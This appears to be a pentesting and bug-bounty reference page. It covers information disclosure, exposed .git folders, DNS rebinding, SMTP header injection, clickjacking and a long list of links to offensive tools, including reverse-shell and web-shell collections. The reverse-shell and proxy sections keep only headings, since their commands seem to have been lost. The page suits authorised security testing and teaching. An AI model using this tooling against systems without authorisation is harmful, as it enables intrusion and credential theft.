Information disclosure due to insecure configuration
Websites are sometimes vulnerable as a result of improper configuration. This is especially common due to the widespread use of third-party technologies, whose vast array of configuration options are not necessarily well-understood by those implementing them.
In other cases, developers might forget to disable various debugging options in the production environment. For example, the HTTP TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests that use the TRACE method by echoing in the response the exact request that was received. This behavior is often harmless, but occasionally leads to information disclosure, such as the name of internal authentication headers that may be appended to requests by reverse proxies.
Authentication bypass via information disclosure https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-authentication-bypass
Version control history
Virtually all websites are developed using some form of version control system, such as Git. By default, a Git project stores all of its version control data in a folder called .git. Occasionally, websites expose this directory in the production environment. In this case, you might be able to access it by simply browsing to:
Information disclosure in version control history https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history
----------------------------------------------------------------------------------------
Manual: DNS Rebinding
https://github.com/nccgroup/singularity # Singularity of Origin is a tool to perform DNS rebinding attacks. It includes the necessary components to rebind the IP address of the attack server DNS name to the target machine's IP address and to serve attack payloads to exploit vulnerable software on the target machine.
https://github.com/brannondorsey/dns-rebind-toolkit # DNS Rebind Toolkit is a frontend JavaScript framework for developing DNS Rebinding exploits against vulnerable hosts and services on a local area network (LAN).
https://github.com/brannondorsey/whonow # A malicious DNS server for executing DNS Rebinding attacks on the fly.
https://nip.io # Dead simple wildcard DNS for any IP Address
https://sslip.io # sslip.io is a DNS (Domain Name System) service that, when queried with a hostname with an embedded IP address, returns that IP Address.
http://1u.ms/ # This is a small set of zero-configuration DNS utilities for assisting in detection and exploitation of SSRF-related vulnerabilities. It provides easy to use DNS rebinding utility, as well as a way to get resolvable resource records with any given contents.
https://github.com/Rhynorater/rebindMultiA # rebindMultiA is a tool to perform a Multiple A Record rebind attack.
----------------------------------------------------------------------------------------
Manual: SMTP Header Injection
https://www.acunetix.com/blog/articles/email-header-injection/ # It is common practice for web pages and web applications to implement contact forms, which in turn send email messages to the intended recipients. Most of the time, such contact forms set headers. These headers are interpreted by the email library on the web server and turned into resulting SMTP commands, which are then processed by the SMTP server.
----------------------------------------------------------------------------------------
Manual: Web Shell
https://www.kali.org/tools/webshells/ # A collection of webshells for ASP, ASPX, CFM, JSP, Perl, and PHP servers.
---------------------------------------------------------------------------------------
Manual: Reverse Shell
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet # If you’re lucky enough to find a command execution vulnerability during a penetration test, pretty soon afterwards you’ll probably want an interactive shell.
# Bash
# PERL
# Python
# PHP
# Ruby
# Netcat
# Java
# xterm
# powershell (without download)
https://reverse-shell.sh/ # Reverse Shell as a Service
----------------------------------------------------------------------------------------
WebDAV (Web Distributed Authoring and Versioning)
http://www.webdav.org/cadaver/ # cadaver is a command-line WebDAV client for Unix.
https://github.com/cldrn/davtest # This program attempts to exploit WebDAV enabled servers.
----------------------------------------------------------------------------------------
Manual: Clickjacking
Clickjacking is an interface-based attack in which a user is tricked into clicking on actionable content on a hidden website by clicking on some other content in a decoy website.
How to construct a basic clickjacking attack Clickjacking attacks use CSS to create and manipulate layers. The attacker incorporates the target website as an iframe layer overlaid on the decoy website. An example using the style tag and parameters is as follows:
The target website iframe is positioned within the browser so that there is a precise overlap of the target action with the decoy website using appropriate width and height position values. Absolute and relative position values are used to ensure that the target website accurately overlaps the decoy regardless of screen size, browser type and platform. The z-index determines the stacking order of the iframe and website layers. The opacity value is defined as 0.0 (or close to 0.0) so that the iframe content is transparent to the user. Browser clickjacking protection might apply threshold-based iframe transparency detection (for example, Chrome version 76 includes this behavior but Firefox does not). The attacker selects opacity values so that the desired effect is achieved without triggering protection behaviors.
BURP: Manual
Basic clickjacking with CSRF token protection https://portswigger.net/web-security/clickjacking/lab-basic-csrf-protected
Clickjacking with form input data prefilled from a URL parameter https://portswigger.net/web-security/clickjacking/lab-prefilled-form-input
Clickjacking with a frame buster script: https://portswigger.net/web-security/clickjacking/lab-frame-buster-script
Exploiting clickjacking to trigger DOM-based XSS: https://portswigger.net/web-security/clickjacking/lab-exploiting-to-trigger-dom-based-xss
----------------------------------------------------------------------------------------
General
Generic Tools
https://ahrefs.com/backlink-checker # Try the free version of Ahrefs' Backlink Checker.
https://gchq.github.io/CyberChef/ # The Cyber Swiss Army Knife
https://github.com/securisec/chepy # Chepy is a python lib/cli equivalent of the awesome CyberChef tool.
https://packettotal.com/ # Pcap analysis and samples
https://github.com/vavkamil/awesome-bugbounty-tools # A curated list of various bug bounty tools.
https://check-host.net/ # Check-Host is a modern online tool for website monitoring and checking availability of hosts, DNS records, IP addresses.
https://github.com/fyoorer/ShadowClone # ShadowClone allows you to distribute your long running tasks dynamically across thousands of serverless functions and gives you the results within seconds where it would have taken hours to complete.
https://github.com/A-poc/RedTeam-Tools # This github repository contains a collection of 125+ tools and resources that can be useful for red teaming activities.
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/Indexes/Indexes-Markdown/index.md # All Atomic Tests by ATT&CK Tactic & Technique (https://atomicredteam.io/atomics/).
# Print only response headers for any method with curl
# Extract website certificate
# Pure bash multhread script
# Reverse Proxy (mitmproxy)
# Good for capture credentials
# Port Forwarding (socat)
# Reverse Proxy (socat)
# SOCKS Proxy
https://github.com/projectdiscovery/proxify/ # Swiss Army Knife Proxy for rapid deployments. Supports multiple operations such as request/response dump, filtering and manipulation via DSL language, upstream HTTP/Socks5 proxy.
# Fake HTTP Server
# Fake HTTPS Server
# Check https://www.stunnel.org/
# Python 3 Simple HTTPS Server
# Fake FTP Server
# Check HTTP or HTTPS
# Ten requests in parallel
# Access target directly through IP address
# Trim space and newlines on bash variable
Extract paths from swagger.json
cat swagger.json | jq -r '.paths | to_entries[] | .key'
https://gtfobins.github.io/ # GTFOBins is a curated list of Unix binaries that can used to bypass local security restrictions in misconfigured systems.
https://www.guyrutenberg.com/2014/05/02/make-offline-mirror-of-a-site-using-wget/ # Make Offline Mirror of a Site using wget
# Referer spoofing
https://blog.orange.tw/2019/07/attacking-ssl-vpn-part-1-preauth-rce-on-palo-alto.html # Check PreAuth RCE on Palo Alto GlobalProtect
https://blog.orange.tw/2018/08/how-i-chained-4-bugs-features-into-rce-on-amazon.html # How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System (bypass with /..;/)
https://docs.google.com/presentation/d/1jqnpPe0A7L_cVuPe1V0XeW6LOHvMYg5PBqHd96SScJ8/ # Routing To Another Backend , Deserve Spending Hours AND Hours On Its So Inspired By @samwcyo's Talk " Attacking Secondary Contexts in Web Applications " , I Have Been Collecting A Lot Of Stuff To PWN This Backend.
https://medium.com/@ricardoiramar/reusing-cookies-23ed4691122b # This is a story how I accidentally found a common vulnerability across similar web applications just by reusing cookies on different subdomains from the same web application.
https://github.com/shieldfy/API-Security-Checklist # Checklist of the most important security countermeasures when designing, testing, and releasing your API.
https://ippsec.rocks # Looking for a video on a specific hacking technique/tool? Searches over 100 hours of my videos to find you the exact spot in the video you are looking for.
https://book.hacktricks.xyz/welcome/hacktricks # Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.
https://github.com/c3l3si4n/godeclutter # Declutters URLs in a lightning fast and flexible way, for improving input for web hacking automations such as crawlers and vulnerability scans.
https://github.com/s0md3v/uro # Using a URL list for security testing can be painful as there are a lot of URLs that have uninteresting/duplicate content; uro aims to solve that.
https://github.com/hakluke/hakscale # Hakscale allows you to scale out shell commands over multiple systems with multiple threads on each system. The key concept is that a master server will push commands to the queue, then multiple worker servers pop commands from the queue and execute them. The output from those commands will then be sent back to the master server.
https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers # In this writeup, I will be covering techniques which can be used to influence web systems and applications in unexpected ways, by abusing HTTP/1.1 hop-by-hop headers. Systems affected by these techniques are likely ones with multiple caches/proxies handling requests before reaching the backend application.
https://github.com/chubin/cheat.sh # Unified access to the best community driven cheat sheets repositories of the world.
https://labs.detectify.com/2022/10/28/hacking-supercharged-how-to-gunnar-andrews/ # How to supercharge your hacking: Mindset, workflow, productivity and checklist.
https://github.com/sehno/Bug-bounty # You can find here some resources I use to do bug bounty hunting.
https://wpdemo.net/ # WPDemo.net is for WordPress theme designers and plugin developers that want to allow potential customers to test drive their WordPress plugins or themes before buying.
https://searchcode.com/ # Search 75 billion lines of code from 40 million projects.
https://github.com/vitalysim/Awesome-Hacking-Resources # A collection of hacking / penetration testing resources to make you better!
https://github.com/infoslack/awesome-web-hacking # A list of web application security.
https://www.youtube.com/watch?v=QSq-aYYQpro # Command-Line Data-Wrangling by Tomnomnom.
https://www.youtube.com/watch?v=s9w0KutMorE # Bug Bounties With Bash by Tomnomnom.
Last updated
